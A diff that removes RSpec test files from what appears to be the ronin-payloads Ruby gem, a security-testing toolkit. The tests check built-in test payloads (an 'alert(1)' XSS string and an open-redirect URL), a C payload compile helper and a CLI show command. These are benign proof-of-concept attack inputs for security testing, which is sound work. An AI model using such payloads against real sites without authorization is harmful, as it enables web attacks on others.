expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
52
|
-
end
|
53
|
-
end
|
54
|
-
end
|
@@ -1,24 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/test/open_redirect'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Test::OpenRedirect do
|
5
|
-
it "must inherit from Ronin::Payloads::URLPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::URLPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'test/open_redirect'" do
|
13
|
-
expect(subject.id).to eq('test/open_redirect')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe "#build" do
|
18
|
-
before { subject.build }
|
19
|
-
|
20
|
-
it "must set #payload to 'https://google.com/'" do
|
21
|
-
expect(subject.payload).to eq("https://google.com/")
|
22
|
-
end
|
23
|
-
end
|
24
|
-
end
|
@@ -1,24 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/test/xss'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Test::XSS do
|
5
|
-
it "must inherit from Ronin::Payloads::JavaScriptPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::JavaScriptPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'test/xss'" do
|
13
|
-
expect(subject.id).to eq('test/xss')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe "#build" do
|
18
|
-
before { subject.build }
|
19
|
-
|
20
|
-
it "must set #payload to 'alert(1)'" do
|
21
|
-
expect(subject.payload).to eq("alert(1)")
|
22
|
-
end
|
23
|
-
end
|
24
|
-
end
|
data/spec/c_payload_spec.rb
DELETED
@@ -1,139 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/c_payload'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::CPayload do
|
5
|
-
it "must inherit from Ronin::Payloads::BinaryPayload" do
|
6
|
-
expect(described_class.superclass).to be(Ronin::Payloads::BinaryPayload)
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".cc" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
before do
|
13
|
-
@cc = ENV['CC']
|
14
|
-
ENV.delete('CC')
|
15
|
-
end
|
16
|
-
|
17
|
-
context "when ENV['CC'] is set" do
|
18
|
-
let(:cc) { 'gcc' }
|
19
|
-
|
20
|
-
before { ENV['CC'] = cc }
|
21
|
-
|
22
|
-
it "must return ENV['CC']" do
|
23
|
-
expect(subject.cc).to eq(cc)
|
24
|
-
end
|
25
|
-
|
26
|
-
after { ENV.delete('CC') }
|
27
|
-
end
|
28
|
-
|
29
|
-
context "when ENV['CC'] is not set" do
|
30
|
-
it "must return 'cc'" do
|
31
|
-
expect(subject.cc).to eq('cc')
|
32
|
-
end
|
33
|
-
end
|
34
|
-
|
35
|
-
after { ENV['CC'] = @cc if @cc }
|
36
|
-
end
|
37
|
-
|
38
|
-
describe "params" do
|
39
|
-
subject { described_class }
|
40
|
-
|
41
|
-
it "must define a :cc param" do
|
42
|
-
expect(subject.params[:cc]).to_not be_nil
|
43
|
-
end
|
44
|
-
|
45
|
-
it "must default the :cc param to #{described_class}.cc" do
|
46
|
-
expect(subject.params[:cc].default_value).to eq(subject.cc)
|
47
|
-
end
|
48
|
-
end
|
49
|
-
|
50
|
-
describe "#compile" do
|
51
|
-
let(:source_files) { %w[foo.c bar.c baz.c] }
|
52
|
-
let(:output) { 'output' }
|
53
|
-
|
54
|
-
it "must call system with params[:cc], the output and source files" do
|
55
|
-
expect(subject).to receive(:system).with(
|
56
|
-
subject.params[:cc],'-o',output,*source_files
|
57
|
-
).and_return(true)
|
58
|
-
|
59
|
-
subject.compile(*source_files, output: output)
|
60
|
-
end
|
61
|
-
|
62
|
-
context "when the defs: keyword argument is given" do
|
63
|
-
context "and it's an Array" do
|
64
|
-
let(:def1) { 'foo' }
|
65
|
-
let(:def2) { 'bar=baz' }
|
66
|
-
let(:defs) { [def1, def2] }
|
67
|
-
|
68
|
-
it "must append the values with '-D' flags" do
|
69
|
-
expect(subject).to receive(:system).with(
|
70
|
-
subject.params[:cc],
|
71
|
-
'-o', output,
|
72
|
-
"-D#{def1}",
|
73
|
-
"-D#{def2}",
|
74
|
-
*source_files
|
75
|
-
).and_return(true)
|
76
|
-
|
77
|
-
subject.compile(*source_files, output: output, defs: defs)
|
78
|
-
end
|
79
|
-
end
|
80
|
-
|
81
|
-
context "and it's a Hash" do
|
82
|
-
let(:name1) { "foo" }
|
83
|
-
let(:value1) { "1" }
|
84
|
-
let(:name2) { "bar" }
|
85
|
-
let(:value2) { "2" }
|
86
|
-
|
87
|
-
let(:def1) { "#{name1}=#{value1}" }
|
88
|
-
let(:def2) { "#{name2}=#{value2}" }
|
89
|
-
let(:defs) { {name1 => value1, name2 => value2} }
|
90
|
-
|
91
|
-
it "must append the values with '-D' flags" do
|
92
|
-
expect(subject).to receive(:system).with(
|
93
|
-
subject.params[:cc],
|
94
|
-
'-o', output,
|
95
|
-
"-D#{def1}",
|
96
|
-
"-D#{def2}",
|
97
|
-
*source_files
|
98
|
-
).and_return(true)
|
99
|
-
|
100
|
-
subject.compile(*source_files, output: output, defs: defs)
|
101
|
-
end
|
102
|
-
end
|
103
|
-
|
104
|
-
context "but it's not an Array or a Hash" do
|
105
|
-
let(:defs) { Object.new }
|
106
|
-
|
107
|
-
it do
|
108
|
-
expect {
|
109
|
-
subject.compile(*source_files, output: output, defs: defs)
|
110
|
-
}.to raise_error(ArgumentError,"defs must be either an Array or a Hash: #{defs.inspect}")
|
111
|
-
end
|
112
|
-
end
|
113
|
-
end
|
114
|
-
|
115
|
-
context "when system() returns false" do
|
116
|
-
let(:source_file) { 'foo.go' }
|
117
|
-
|
118
|
-
it do
|
119
|
-
allow(subject).to receive(:system).and_return(false)
|
120
|
-
|
121
|
-
expect {
|
122
|
-
subject.compile(source_file, output: output)
|
123
|
-
}.to raise_error(Ronin::Payloads::BuildFailed,"cc command failed: #{subject.params[:cc]} -o #{output} #{source_file}")
|
124
|
-
end
|
125
|
-
end
|
126
|
-
|
127
|
-
context "when system() returns nil" do
|
128
|
-
let(:source_file) { 'foo.go' }
|
129
|
-
|
130
|
-
it do
|
131
|
-
allow(subject).to receive(:system).and_return(nil)
|
132
|
-
|
133
|
-
expect {
|
134
|
-
subject.compile(source_file, output: output)
|
135
|
-
}.to raise_error(Ronin::Payloads::BuildFailed,"cc command not installed")
|
136
|
-
end
|
137
|
-
end
|
138
|
-
end
|
139
|
-
end
|
@@ -1,21 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/cli/commands/show'
|
3
|
-
|
4
|
-
require 'ronin/payloads/binary_payload'
|
5
|
-
require 'ronin/payloads/asm_payload'
|
6
|
-
require 'ronin/payloads/shellcode_payload'
|
7
|
-
require 'ronin/payloads/c_payload'
|
8
|
-
require 'ronin/payloads/java_payload'
|
9
|
-
require 'ronin/payloads/javascript_payload'
|
10
|
-
require 'ronin/payloads/node_js_payload'
|
11
|
-
require 'ronin/payloads/shell_payload'
|
12
|
-
require 'ronin/payloads/powershell_payload'
|
13
|
-
require 'ronin/payloads/coldfusion_payload'
|
14
|
-
require 'ronin/payloads/php_payload'
|
15
|
-
require 'ronin/payloads/sql_payload'
|
16
|
-
require 'ronin/payloads/html_payload'
|
17
|
-
require 'ronin/payloads/xml_payload'
|
18
|
-
require 'ronin/payloads/mixins/typescript'
|
19
|
-
|
20
|
-
describe Ronin::Payloads::CLI::Commands::Show do
|
21
|
-
end
|